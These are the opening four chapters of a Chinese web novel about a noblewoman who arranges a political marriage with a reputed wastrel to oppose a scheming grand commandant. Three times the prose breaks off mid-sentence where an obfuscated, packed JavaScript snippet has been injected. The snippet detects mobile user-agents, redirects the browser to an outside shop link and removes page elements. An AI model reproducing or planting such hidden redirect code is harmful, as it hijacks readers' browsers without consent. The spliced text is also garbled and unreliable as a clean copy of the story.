《琼枝擎天包月》 1. 联姻 三月初三，春寒渐消。 京郊玄岭脚下，渌溪边上的祓禊仪式刚过，衣饰华美的年轻男女们便热闹起来了。 不远处，姜芮折了几支杏花，漫不经心地拿在手里把玩着。她眉眼生得英气，目光便更显锐利。挑剔地审视了今日宴饮的主宾半晌，她轻哼一声，脸上露出几分嫌弃。 “婉婉，可算找到你啦！” 一身红衣的少女声音清脆，小跑着凑到她跟前。 姜芮没应声，随手将编好的花环丢过去。许姝欢欢喜喜地接住了，又顺着她的目光看出去，顿时来了劲。 “你该不会……是在看宣二公子吧？” 姜芮揉了揉额角，不轻不重地“嗯”了一声。 见好友杏眼圆睁的模样，她不觉好笑：“宣二公子名士风流，世人皆争求一见。怎么，偏生我看不得？” “哎呀，婉婉你——”许姝捏着杏花，气鼓鼓地看着眼前的美人。姜芮才情绝艳，可惜长了张嘴。姜太傅家里人人儒雅随和，只有这位嫡长女言辞堪称刻薄。 若非如此，怎会早已年过及笄，却仍无人敢上门提亲。 许姝咬着唇，心中忿忿：但不管怎么说，也不能找这位呀！谁不知道宣二公子是出了名的—— “美貌废物。” 姜芮薄唇轻启，将视线从人群中心的贵公子身上收回来。 见少女欲言又止，她挑眉轻笑：“怎么？你方才心中不就是如此想的么？” 许姝连连摆手：“我可没有！” 她小心地打量着好友的神色，说得含含糊糊：“宣二公子姿容太盛，又日日饮酒纵乐，名声就……呃，不太中听。但是当年，就连我爹都知道宣家出了个神童。再怎么说，也不至于是废物吧。” 姜芮不置可否，掸了掸衣袖，朝人群走去。 其实许姝说的尚算中肯。 宣珩年少成名，十岁作诗便传抄京城，这些年来早已是这类宴饮的常客。他生了副多情公子的好颜色，那泼天的才气也跟着全用在了莺歌燕舞上。 如今他年近弱冠，被人提起时已离不开“声色犬马”一词。宣尚书精明强干，对这个纨绔的嫡子却似乎毫无办法。 眼下这位风流公子吟了首诗，惹得身边的乐伎笑着遮了脸。他执着扇子去挑人家下巴，却被一旁的崔侍郎拉住，于是顺手接过酒杯，堪堪喂到姑娘嘴边。 当姜芮走近时，便听到宣二公子带了醉意，同那崔侍郎大谈什么舞乐之美。 虽是在说些艳俗之事，但他的声音确实好听。崔侍郎已瞧见了姜芮，讪讪地扯了扯他的袖子。 这好听的声音便戛然而止。 姜芮扬手丢出一支玉簪，斜睨着他冷笑：“宣二公子如此多情，倒是我多余收这一支簪子。” 宣珩茫然地抬头看她，似乎酒仍未醒。倒是一旁的崔侍郎不动声色地拾起玉簪，看了片刻，又轻轻塞到他手里。 做工精巧的玉簪带了些许凉意，终于唤回了宣二公子的神智。看着甩袖离去的姑娘，宣珩踉跄起身，急急追上前去：“婉婉！” 许姝目瞪口呆地看着两人走远，同一众世家子弟面面相觑。 这两个人居然如此相熟吗？什么时候的事啊？ 这个问题宣珩也想知道答案。 他跟在姜芮身后，吐息中仍带着佳酿的馥郁香气：“先前姜小姐向我讨那簪子，原来是做这用处吗？” 姜芮脚步不停，转头挑眉看他，又嫌弃地皱了皱鼻子：“方才我若不来，不知宣公子那番高谈阔论，还能搪塞崔家多久？” 提到这个，宣珩便有些恨恨。余光扫了眼不远处的人群，他压低了声质问：“这便是姜小姐想出来的主意？” “怎么？宣公子还另有妙计？”姜芮语气悠悠，“崔三小姐才情兼备、贤良淑德，若不是邓太尉逼得紧，崔家可不舍得拿出来拉拢你。” 她忽然停下脚步，转身盯着宣珩。 “宣公子藏锋多年，看起来可不怎么成功。连阿姝都骗不过，就别指望邓太尉会收手。” “若宣公子还未被酒色坏了脑子，就该知道你我两家都已无路可退。” 姜芮目光凛冽，广袖下的手紧紧攥成了拳。 当朝皇帝连年多病，膝下子嗣又皆年幼。邓太尉笼络世家多年，如今隐隐露出凶相，已有取而代之之意。姜家与皇室同气连枝，自是最先感到寒意。 姜太傅尚在犹疑不定，姜芮却不想再等。半月前，就连长兄也被牵连下狱。虽然有惊无险，但她思忖再三，终于还是设法找上了宣珩。 宣二公子名声虽差，但宣家却是个极好的联姻对象。 这些年来，邓太尉虽极力拉拢，但宣家仍是打定了主意不愿站队。可惜如今两边力量悬殊，继续沉默便已说明了态度。 宣尚书身居要职，在京城却并无世家倚仗。今日崔家借着上巳节宴饮，便是要逼宣珩应下亲事。 这些宣珩自然明白。只是他没想到，半月前姜芮说会给出诚意，竟是用的这般方式。 她是替他解了围，又把联姻的台阶递到了面前。但宣珩怎么咂摸都觉得不是滋味，半晌才吐出一句话来：“姜小姐今日横插一杠，倒是不怕日后流言中伤。” 姜芮轻嗤一声：“明明是宣二公子风流成性，伤了人心。怎的反倒成了我的不是？” 莫名被她倒打一耙，宣珩立刻反唇相讥：“若我方才反应不及，姜小姐怕是要唱独角戏了。” “宣公子这便是过谦了，”姜芮目露讥诮，上下打量着他，“方才那番戏码，宣公子看起来熟练得很，倒不像是演的。” 说到这里，她忽的蹙了眉，心中有些别扭。她同宣珩只见过数面，相谈寥寥，更从未提及过她的小名。却不知宣珩怎么知道要喊她“婉婉”，把这戏做得如此逼真。 想必是先前听到许姝这么喊自己。姜芮忍不住腹诽：这般机灵，用的全不是地方。 宣珩平白受了一通奚落，正待发作，却见眼前的姑娘敛了眉目，将手背过身去。 “若是邓忠真能做些好事，便是让他坐坐那位子也无妨，”姜芮语气冰冷，神色淡淡地说着大逆不道的话，“但这些年，那群虫豸作了多少孽，宣公子总该听过一二。” “我父兄虽嫌优柔寡断，但在朝多年俯仰无愧。宣尚书苦心孤诣二十载，想必也不是为了看如今这局面。再多的仁政，无人推行便是废纸一张。今日是我长兄入狱，明日不知是宣家的何人？” 明眸皓齿的姑娘站在一片春色中，却是浑身冷肃。 “大厦将倾，我只恨世家男儿仍想着独善其身。” 姜芮说完便不再看他，抬脚朝追上来的众人走去。 觉出她情绪低落，许姝默默将满肚子的疑问咽了回去，只上前轻轻挽住她的小臂。 崔侍郎陪笑着目送两人告辞离开，转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929964|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看到宣珩攥着那支上好的玉簪，一副失魂落魄的模样。 见鬼，难道宣二公子这次真栽了不成？ 他虽有意试探，但宣珩似乎真敛了性情，谢绝了大部分邀约，只日日遣人送诗画到姜府。有好事的公子哥上门拜访，出来时皆是一副牙酸的表情。 宣二公子才高八斗，写起缱绻的情诗来，一般人自是难以招架。 姜小姐虽不是常人，但应的诗也渐渐从冷嘲热讽变得欲拒还迎。 一时之间，京城传抄的诗集都变多了。 姜太傅素来儒雅自持，据说近日却在朝上给宣尚书甩了好几次脸色。不过到了月底宣家上门提亲时，他横挑鼻子竖挑眼了半日，到底还是没把人丢出门去。 婚事很快就定了下来。 姜芮心不在焉地翻看着列出的吉日，眉间是淡淡的倦色。 “邓忠多疑而自负，近日定会做些试探。” 她提笔在纸上勾了几下，抬手递给父亲：“不必急着成婚，且先看他如何动作。” 姜太傅听她轻描淡写就安排完自己的终身大事，半晌才长叹一声。 月初姜芮先斩后奏，从上巳节回来才将联姻计划同他一一道来。他气急大怒，这位长女却不为所动，只问了他一个问题。 “此番长兄平安归来，是因为宋大人仍站在父亲一边。若是下次连宋大人都无法自保，父亲打算如何？” 他便无言以对。 抛开旁的不说，姜芮的算计其实颇有几分道理。他在朝堂日觉独木难支，联姻是再正常不过的选择。宣尚书寡言慎行，在诸多事上却暗暗与他意见相投。 但宣珩的名声实在太差。况且聪明人花天酒地起来，多的是让人糟心的花样。 姜太傅左思右想，仍是一口气提不上来。 他久久不说话，姜芮便露出几分不耐来：“事已至此，父亲莫不是还想着反悔吧？” 见姜太傅满面愁容，她又缓和了语气，随手抓起案上的一叠纸笺：“这段时日往来密谋颇费心力，他抽空写的诗却还算能读。可见宣珩也不全是个美貌废物，父亲且放宽心。” 听她这么一说，姜太傅更觉头疼。 “若只是些闲言碎语便也罢了，”他捏了捏鼻梁，看着长女叹气，“婉婉，倘若他这些年不全为了避祸，而是乐在其中呢？” 姜芮奇道：“那又如何？便是他真不堪大用，以宣尚书的精明，事到如今也不会轻易跳船。大不了我日后再多送他些银两，让他拿去还风流债就是了。” 她胡乱收拾着纸笺，一边敷衍地安抚：“既是联姻，父亲就莫要操心这些了。” 姜太傅定定地看着她，忽然问：“婉婉，你莫不是……还挂念着景澜？” 姜芮手下动作一顿。 她似是有些恼怒地抿了唇，随即又抬起头，语气冷淡：“长兄再过几日便要动身。河西形势复杂，父亲有这空闲，不如再多提点他几句，免得到了那里又处处被动。” 见她开始赶客，姜太傅只得悻悻地应了两句。刚往外走了几步，他又犹豫地转过身来，张了张嘴，最终还是什么也没说。 姜芮盯着桌案发了会儿愣，目光游移到了那叠纸笺上。宣珩的字飘逸俊秀，她却无端看着来气。 粗暴地将纸笺塞到木匣中，姜芮闭了闭眼，长长吐出一口气来。 风雨飘摇之下，她挂不挂念什么人，根本无关紧要。 2. 看戏 不管姜太傅心中有多不乐意，婚事仍在按计划推进。今早宣家来递了婚书，再往后便该下聘了。 姜芮盘算着回礼清单，一边随手摆弄起窗前的花草。 侍女阿云见状，急急唤她：“哎，小姐——” 姜芮收了手，无奈一笑：“好了，我不碰就是了。” 确认小姐没有又一次辣手摧花之后，阿云心绪稍平，又小心翼翼地抬眼看她。 果然，小姐手中不能空闲，这会儿又开始摩挲起了那支玉簪。上巳节时，小姐分明已经把它丢还给人家了。今日借着送婚书的机会，宣二公子厚着脸皮又给送回来了。 依小姐的脾气，居然没给扔出门去，也是稀奇。 阿云自幼跟在姜芮身边，对这下意识的小动作十分熟悉。她看了片刻，终于忍不住开口：“小姐可是为了宣二公子烦心？” 姜芮回了神，似是觉得有趣，只挑眉看她。 侍女便大了胆子，絮絮叨叨起来。先是说她这段时日在街上听到了多少离谱传言，又说起每家酒楼歌坊都有那宣二公子的相好。 她不知这婚事是姜芮一手要来的，只道是小姐年岁渐长，姜太傅便胡乱许了亲。 想到自己刚听到的消息，阿云愈发忿忿：“今日他刚送了婚书，后脚就又要跟人去瑞祥楼听曲。亏我先前还以为他真收了心呢！” 姜芮不禁莞尔：“只是听个曲而已，倒也不用这么生气。” “可不只是听曲呢，”阿云皱眉比划着，“谁不知道瑞祥楼里多的是漂亮歌女！” 她越说越来气，连带着骂上了同去的那班纨绔子弟：“要我说，这京城里的少爷们没一个能成事的，天天结着队往这些地方跑。原先看那陆御史人还不错，没想到这才过了几年，也跟着同流合污了！” 姜芮摩挲着玉簪的手一顿：“消息这么灵通，你可知今日这局是谁的主意？” 阿云没好气道：“还能有谁？崔家老幺呗！” 崔行与他那当了刑部侍郎的长兄不同，是京城出了名的纨绔。宣珩好歹还有几分才气妆点门面，这一位却是实打实的酒囊饭袋。 这些年，邓太尉愈发倚重崔侍郎，崔行要找人寻乐便也更容易了。只是那位陆御史自诩清流，油盐不进的，也不知崔行费了多大的功夫来勉强他赏这个脸。 姜芮忽的收了玉簪，起身换衣。 “小姐？”阿云忙上前替她整理衣襟，心中忐忑。 方才说得太过，小姐莫不是要打上门去吧？ “母亲病刚有些见好，莫要让她忧心。我有阿竹跟着，去去就回。” 阿云讷讷应了，头大如斗。 好在她家小姐还有些良心，临走前解释了一句：“我就是去听个曲。若父亲问起来，你照实说便是。” 侍女愁眉苦脸地点点头，暗自腹诽：听曲？小姐素来对歌舞没什么兴趣，听的哪门子曲喔！ 姜芮确实无心听曲，她是去看戏的。 今日的瑞祥楼热闹非凡。 崔小公子被一群世家子弟围在中央，一手勾着宣珩的肩，一手举着酒杯乱晃。 姜芮带着阿竹进门时，正听到他在大声打趣宣珩。 “嗨呀，还以为你因为那朵高岭之花，已经忘了我们这帮兄弟了呢！” 宣二公子仍是以往风流倜傥的模样，微蹙了眉半真半假地抱怨：“高岭之花美则美矣，可惜难伺候得紧，怎么比得上跟着崔兄一起快活。” 众人便发出一阵哄笑。 阿竹磨了磨牙，伸手去摸腰间的短棍。姜芮却饶有兴致地看了好一会儿，方才挥手示意他到角落坐下。 另一头，崔行已嚷着让新来的歌女出来唱两曲，一边又殷勤地同身边的冷面男子攀谈。宣珩似是想替人应付两句，却被崔行笑骂着推开。 姜芮啜着茶，瞧着那位陆御史一副发作不得的憋闷样子。 陆铭出身寒门，在御史台兢兢业业了七八年，一直恪守着清流的中立立场，对谁都没个好脸色。只是邓太尉权势滔天，即便眼前是最不学无术的崔小公子，再三邀请之下，他也只能咬牙赴约。 这会儿他似有些招架不住，只得抬手指了指台上的歌女，示意崔小公子好好听曲。 歌女面容姣好，站在台上有些拘谨，但一双眼却颇显灵动。她声音清越，唱的是首欢快的民间小曲，与京城常听的截然不同。 两曲唱完，崔行带头抚掌叫好，又招手让人过来领赏钱。 姑娘怯生生地领了赏，却不肯走，眼睛直直地盯着他身边的美貌青年。 “宣二公子，可还记得奴家么？” 崔行吹了声口哨，好整以暇地往椅背上一靠，侧头去看宣珩。 尽管脸上一片茫然，宣珩心中却是一紧。他自然不认识这位姑娘，但这位姑娘却不像是认错了人。 见他不说话，姑娘又朝他挪了两小步，从怀里掏出一条绢帕。 “公子送的这条帕子，奴家一直好生收着，”姑娘扫了眼四周，鼓足勇气继续说，“公子曾答应过……会接奴家入府的。” 崔行从她手中抽出帕子，展开看了看，混不吝地笑道：“哎，别的我不敢说，这字定是只有宣二公子才能写出来的。喏，看看，是不是？” 周围的几个人往前凑了凑，也都纷纷点头。陆铭就坐在他旁边，忍不住瞟了两眼，随即脸色更冷了。 宣珩自然也看见了。他眼皮一跳：那确是他的字。 歌女又道：“公子刚定了婚事，奴家知道。奴家也不是为了自己，只是……” 她似是哽住了，只垂头抚着小腹，不再说话。虽不明显，但旁边的人稍加分辨，就能看出隆起的形状。 宣珩瞳孔一缩，霍然起身。 崔行将帕子塞到他怀里，大声笑道：“哟，这下可得恭喜宣二公子了。” “不是——” 宣珩刚出声，袖子便被歌女扯住。姑娘咬唇看着他簌簌流泪，浑身微颤，确是我见犹怜。 在万花丛中厮混了这么些年，宣二公子还是头一次遇到这阵仗。他下意识后退了一步，连带着姑娘踉跄着几乎跌倒。 陆铭本就憋了一肚子火，这下终于寻到了去处，一把将人扶住，又劈头盖脸地损起宣珩来。 崔行装模作样劝了两句，惹得他更生气。推搡间不知是谁失手扫落了桌上的酒杯茶盏，稀里哗啦碎了一地。 周围有好事的公子哥凑上前来的，还有苦着脸上前相劝的堂倌，一时间场面十分混乱。 阿竹伸着脖子看了半天，也是越看越生气。他琢磨着能不能趁乱给那宣二公子两棍，一边回头去瞧自家小姐。 却见姜芮竟带了笑意，飞快地写着张字条。 “把这个给宣公子，莫让别人瞧见了。” 见阿竹呆愣愣的，她敛了笑，沉声喝道：“快去。” 阿竹忙不迭接了纸条，一闪身便没影了。他年岁虽小，却是姜家功夫最好的护院之一。 纷乱之中，宣珩冷不防被塞了个纸团。快速拢到袖中一看，是这两月刚熟悉起来的字迹。 豪放不羁，与字主人的样貌极不相称。 咬牙深吸了一口气，宣珩定了定神，伸手将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929965|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越多的人挥开。 陆铭这会儿已信誓旦旦地劝歌女莫要担心，自己这就带她去报官。崔行在一旁火上浇油，说着“宣兄定不会始乱终弃”这样的话。 “多说无益，有没有担当，这还看不出来吗？”陆铭恨恨呛了句，示意歌女同自己走。 前路却被人挡住了。 美貌青年攥着那绢帕，柔声朝歌女道歉：“方才是我一时没认出来，全是我的不是。” 他眉眼恳切，带着恰到好处的羞赧：“我怎会不记得？只是置办宅子费了些功夫，原想着过些日子就去接你的。” 歌女婆娑着泪眼，怔怔地看着他。 宣二公子姿容绝代，这番话任谁听了都心旌神摇。陆铭皱了皱眉，低声嘟哝了句什么。 宣珩不以为意，抬手朝他行礼：“方才也多谢陆兄。” 他如此姿态，陆铭也不好再说什么。宣珩朝崔行拱了拱手，又柔声去催那姑娘：“走吧，回去再说。” 歌女犹犹豫豫地点了点头，小心地跟在他身后。众人让出一条道来，眼看着两人上了宣府的马车。 马车里已坐了个人。 宣珩同车夫说了去处，转头看着车里的人，只觉得头疼。 “美人在怀，宣公子怎的如此闷闷不乐？”姜芮懒懒地倚在车厢上，目光锐利地打量着不知所措的歌女。 宣珩闷哼了声，不想说话。半晌，他才不情不愿地开口：“今日之事，半个京城的人都看到了。接下来的戏，你打算怎么唱？” “宣公子喜得贵子，我自是得准备些贺礼才是。” “你明知道那不是——” “宣公子的事，我怎会清楚？宣公子连自己题了诗的绢帕曾送给过什么人都记不清，我又如何知道？” 姜芮语气不善，却眉眼含笑。知晓她是在寻自己开心，宣珩暗自磨牙，神色淡淡：“你哄我将人接了来，我自是可以养着。但姜太傅知道了，怕是不会开心。” “今日已递了婚书，宣公子安心准备聘礼便是，不必操心这些。” 姜芮眸光促狭，却见歌女浑身一震，惊恐地看着自己，双手死死护住小腹。 啧，光顾着逗人，差点误了正事。 她揉了揉额角，轻声安抚：“姑娘别怕，我知道方才是有人威胁你。可是二楼东南角的那几个大汉？除了孩子，他们手上可还拿着你的别的什么？” 歌女睁大了眼，慢慢松了手。 “你方才唱的可是齐地的小曲？你是齐地哪里人？可是上京来寻亲的？” 她眉眼仍锐利，但声音温柔好听。歌女渐渐镇定下来，缓缓开口：“我是齐地松县人，家里三代经商。上京……上京是来替父兄和夫君申冤的。” “我有个六岁的弟弟在他们手上，所以今日，我——” 姑娘说着又泪水涟涟。姜芮伸手递了条帕子，安抚地拍了拍她的肩：“没事。宣公子见惯了这种场面，不必挂心。” 宣珩闻言瞪了她一眼，却瞧见她嘴角噙笑着朝自己微微摇头，只得恨恨扭过脸去，装作没听见。 “一会儿你把进京之后的事仔细说说，我们一定救你弟弟出来。至于你家的冤……可是同魏知年魏太守有关？” 歌女惊讶地看着她，连连点头。 姜芮似松了口气：“此事晚些再说。你莫忧心，你父兄和夫君定不会有事的。” 抬手制止了姑娘当场磕头的举动，姜芮手指轻点着车厢壁，兀自思忖着什么。 宣珩终于寻到了机会，冷冷开口：“姜小姐神机妙算，能屈尊同我也说说么？” 3. 歌女 马车在巷尾的一间青瓦小院前停下了。 这是宣家的一处旧宅，平日只有一对年迈的夫妇打理。老大爷看看两个年轻姑娘，再看看自家公子，眼中露出一丝痛心疾首。 宣珩已没了脾气，只低声让车夫回府去叫些人来布置一二。姜芮在旁听了，忙喊住人，让再准备七八个铺盖。 车夫犹疑地看着自家公子，见他点头应了，方才领命而去。 姜芮嘴角噙笑：“宣公子不问这是做什么？” “方才我在车里问了，也不见姜小姐屈尊回答，”宣珩声音闷闷，兀自走在前头，“不过你出门总带在身边的那孩子不在，大抵是回府搬救兵去了吧？” 他虽知道的不多，但已从只言片语中察觉到了危险：“齐地若出了大案，确该加强此处守卫。” 转头瞧见歌女脸色苍白，他又温声安抚：“宣府人多眼杂，未必有此处安全。姑娘且安心住下，毕竟——” 他朝姜芮看去：“姜小姐总有妙计。” 姜芮扬了扬眉，不置可否。她拉着歌女在屋里坐下，柔声道：“先听姑娘说说。” 歌女名叫柳瑛，家里做布匹生意，还有几个织坊。柳家经营三代，在当地也算是个不大不小的商户。 魏知年在齐地已做了十几年的太守，同最大的几个布商来往密切。这几家布商交的税最少，又拿着最好的田，手下织坊遍地。其他商户经营日益困难，近些年来，只剩下寥寥几家还在苦苦支撑。 去年行情不好，魏知年又趁机要加税。眼看着自家产业要被迫贱卖，她长兄气不过，就起了联合其他商户一起抗税的心思。一来二去，柳家上下就被捉了个遍。她夫君原就是柳家的掌柜，入赘多年，自然也没逃过一劫。 只有柳瑛带着幼弟仓皇逃出，一路奔着京城而来。 然而到了京城，又不知这冤该从何申起。好在她会唱些小曲，又生得漂亮，总算不至于在盘缠花光之后流落街头。 前段时间，她身孕渐显，瑞祥楼便不再让她登台。拉扯间来了群人，同管事的说了几句，便保下了她这份工。再然后，他们带走了她幼弟，要她今日在大庭广众之下，演这一出千里寻郎的戏码。 说到这里，柳瑛又红了眼圈，盈盈拜倒。她心中愧疚，又挂念亲人，眼泪便止不住地流。 姜芮忙将人扶起，又示意宣珩说句话。 宣公子轻叹了口气：“如姜小姐所说，今日之事于我不算什么。姑娘身不由己，不必再自责。” 算起来，柳瑛会被人找上，大抵还是因为他同姜芮忽然联姻，邓忠想要寻机试探一二。只是虽已有心理准备，他仍未料到这会来得如此之快。 还是以这种卑劣的方式。 姜芮似是知他在想什么，看着他目光灼灼。 宣珩忽然温煦一笑，语气轻佻：“何况姜小姐为人大度。今日即便确有其事，想必也不会因此悔亲。” 他这般做起风流公子的样子，姜芮便扬起唇角：“我确有些私房钱，预备着给宣公子来日还风流债。” 柳瑛怔怔地看着两人，一时不知该怎么接话。好在姜小姐很快敛了神色，讲起正事来。 “柳姑娘，你既是上京申冤，可还带了什么证物么？” 柳瑛点点头，竟从怀里摸出本册子来。她自幼随父兄经商理帐，常留意那几个大商户的生意。旁人只道她是个妇道人家，谈起事来也不怎么避她。 她虽不知官商之间往来银钱几何，但对齐地这些商户的经营赋税却掌握了个七七八八。 说起自己熟悉的东西，柳瑛便精神振奋起来。她口齿清晰，就着那本账册，把知道的情况仔细讲了一遍。姜芮眸光微动，看着她愈发欣喜。 魏知年是邓忠的人。 齐地富庶，邓忠的小半银钱就来自魏知年的孝敬，朝廷收上来的税却连年减少。姜太傅有不少门生在齐地为官，深知这位魏太守的手段。她同父兄数次商议此事，也尝试做过些动作，但一直没能寻到一个彻底扳倒魏知年的契机。 若邓忠知道自己手下人就这么把柳瑛送到她面前，会不会后悔无端做这番试探？ 想到这里，姜芮噙了笑，隐约露出两颗虎牙，眉眼也跟着柔和了些。她这般笑起来时，面容就显出几分少女的狡黠，稍稍削减了周身不合年岁的凌厉气势。 宣珩心头突的一跳，今日的种种情绪忽然就消散了。 于是在姜芮宣布自己这几日也要住在这里时，他心平气和地应下了，又自觉地出门去寻人来给她布置房间。 他这般配合，倒让姜芮面露微讶。她知道自己留宿此处多有不便，但时间紧迫，她需得同柳瑛互通有无，尽快理出个状子来。 至于后面的事，就得仰仗宣二公子了。 四日后，宣家出了名的美貌废物拿着一纸诉状，情真意切地求圣上给那可怜女子做主。 宣二公子虽风流多情，但待每个姑娘都温柔体贴。瑞祥楼的事一经传出，反倒还替他抬升了几分人缘。有公子哥啧啧称赞，说他虽同姜太傅家婚事在即，却不愿辜负一个小小歌女。 这会儿当着满朝文武，宣珩带着些羞惭，解释自己当日只是不忍见美人落泪，于是应承了下来。后来方知姑娘是受人追杀，不得已才出此下策寻人帮助。细问之下，竟还牵扯出了齐地商户抗税的案子。 风月忽然成了风雨，一直显得病恹恹的皇帝来了精神，示意他具体说说。 宣珩便显出几分昔日英才的模样，将齐地官商勾结的乱象一一道来。托了姜芮的福，他对皇帝的问询应对的极好。宣二公子顶着一张谪仙般的脸，说起齐地百姓的生活，端得是悲天悯人又义愤填膺。 待下朝时，皇帝已允了他会彻查此事，又点了他一同协查。 等消息传回那间青瓦小院时，宣二公子在京城的声誉已大大改观。 姜芮捧着杯热茶，同柳瑛聊着些商户经营的事。见宣珩进来，她便含笑道：“恭喜宣公子。” 这几日她彻夜思虑，眼下浮起淡淡乌青。今日得了好消息，那双眉眼才稍稍舒缓，显出几分松快来。 宣珩却看起来兴致不高。他如今重任在身，很快就会忙得脚不沾地。魏知年树大根深，他又是出名的美貌废物，在朝中挂着个小小闲职，施展空间颇为有限。 最让他头疼的，是皇帝点了那日同在瑞祥楼的陆铭主办此案。 陆御史可不像其他人那么买账。宣二公子挺身救美是不假，但会被美人这般赖上，还不是因为他平日行事荒唐。 况且齐地本就屡有贪腐传闻，先前也不见宣二公子为了当地百姓振臂一呼。如今婚约在即，他倒热心起别的姑娘的事情了，还不是风流本性不改！ 陆铭冷面耿直，这些话他就没想着遮掩。宣珩只做不知，回来看到姜芮促狭的目光，更觉得头疼。 “宣公子且放宽心，”许是这几日宣珩着实尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929966|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心尽力，姜芮有些良心发现，出言宽慰道，“陆御史名声在外，官职却不高。圣上点了他做主官，便是决心要整顿齐地官场。” 这道理宣珩自然懂。他有姜太傅在齐地的门生暗中相助，又有宣尚书在朝中打点人脉，这一局倒也不算落了下风。 只不过—— 他略带幽怨地看了眼姜芮，只能自我安慰：陆御史虽然不会说话，但办事还是很牢靠的。 姜小姐欣赏够了美貌青年难得的委屈模样，笑问道：“宣公子游走欢场多年，陆御史看不惯也不是头一回了。怎的今日被刺了几句，反倒耿耿于怀起来了？” 那能一样吗？ 宣珩嗔怒地看她，又瞥见一旁无所适从的柳瑛，只得闷闷喝茶不言。 以往他逢场作戏，多的是言语轻佻，靠饮酒奏乐就已经是个合格的纨绔了。他流水般的换地方寻乐，还不是怕真惹上什么风流债。 哪像这回先是莫名多了个孩子，现下又像是为了他人妇忙前忙后。 姜芮敛了笑，淡淡道：“宣公子就是因为这般不上不下，才会藏锋多年仍遭人忌惮。” 平白蹉跎了大好时光。 这句话她忍住了，到底还是没说出来。不去看宣珩的神色变换，姜芮执起柳瑛的手，殷殷叮嘱她莫要忧心。昨日阿竹已顺利接回她的幼弟，如今只需她安心协助查案。 “柳姑娘聪颖机敏，做的这本账册对本案极为重要。此番带着幼弟进京申冤，更是胆量心性皆过于人。他日若得了机会，定能做出番事业来。” 姜芮眉眼认真，说得恳切。柳瑛听得脸颊发红：“姜小姐抬举了——” “柳姑娘不必妄自菲薄，”姜芮斜睨了眼另一边的身影，打断了她的话，“若是此后安心相夫教子，自也是不错。但姑娘天资上佳，又颇有想法，待齐地整顿之后，应大有可为。” “届时机会到了眼前，柳姑娘若有心，便不要错过了。” 柳瑛怔怔地看着她，见她毫无打趣之色，终于咬了咬唇，认真应道：“多谢姜小姐提点。” 姜芮粲然一笑，轻轻拍了拍她的手背。她是真心喜欢这个坚韧又聪明的姑娘。自己家中没有姊妹，她这几日便将柳瑛当做姐姐般相处。 看着她少有的明媚笑容，宣珩默不作声，只是捏紧了手中的茶杯。 接下来的一个月，他果真忙得天昏地暗。陆铭原本对他不冷不热，也不指望他能帮上什么。但当宣珩举重若轻地拿下两个口供后，陆御史话仍带刺，脸色却没那么臭了。 邓忠要力保魏知年，暗中没少给他俩使绊子。两人忙起来根本没空回府，姜芮便时不时遣人来送些吃食。 姜小姐还托人捎了话，说两位大人一心为民，万望保重身体。 人家的未婚妻如此大度体贴，陆铭自觉再板着张脸也不合适。他同宣珩并肩作战了月余，心知这位宣二公子确实美貌，但绝非废物。只是他夹枪带棒惯了，现下一时也说不出什么好话来。 宣珩已没工夫计较这些。 他白日同陆铭一道审案，晚上还要看姜芮送来的条条线索，理清齐地错综复杂的关系。这些年他虽暗中跟着宣尚书学习朝政，但毕竟是头一回真正上手，忙起来仍是觉得一个脑袋不够用。 而且纳征之日临近，他还得抽空去看看聘礼准备得如何。 虽说姜小姐不甚在意的样子，但若聘礼真不合心意，怕是免不了又要被她毒舌。 4. 下聘 下聘的那日，魏知年的案子正办到最后的紧要关头。陆铭瞪着一双布满血丝的眼，给宣珩放了一天的假。 饶是如此，他也是在天快亮时才匆匆赶回宣府。亲自点了三遍聘礼之后，宣珩仔细换了衣服，然后合了眼任由侍女给他净面束发。 宣尚书瞧了他半晌，末了揶揄一句：“倒是上心。” 他没睁眼，含糊地应道：“不敢不上心。” 宣尚书不置可否，只抬手示意侍女不必替他施粉遮瑕。 吉时一到，宣二公子便打起十二分的精神，带着浩浩荡荡一队人去了姜府。 他近日来清减许多，衣服穿上便略显宽松，倒是意外衬出几分出尘脱俗的气质来。只是眼下的乌青实在显眼，待姜芮看到时，难得心里生出一丝歉意。 原本纳征之日大可以推后，也不用宣珩亲自押送。但河西来了消息，她必须避开邓忠耳目，尽快寻机面谈。 下聘的队伍进了姜府，一待就是一日。虞夫人带着病容，亲自出来验收聘礼。她行动虽慢，但出手大方，给众人安排了饭食茶点，还特意为宣珩备了歇息的房间。 清雅的客院里，没有侍从在场，姜芮亲手给难掩倦色的宣二公子斟了碗茶。她一低头，宣珩便瞧见她发间的那枚玉簪，心神一动，险些将茶水抖到桌上。 仆役打扮的两名大汉局促地坐在一边，一人捧着一盏茶，低头看碗中茶叶起起伏伏。 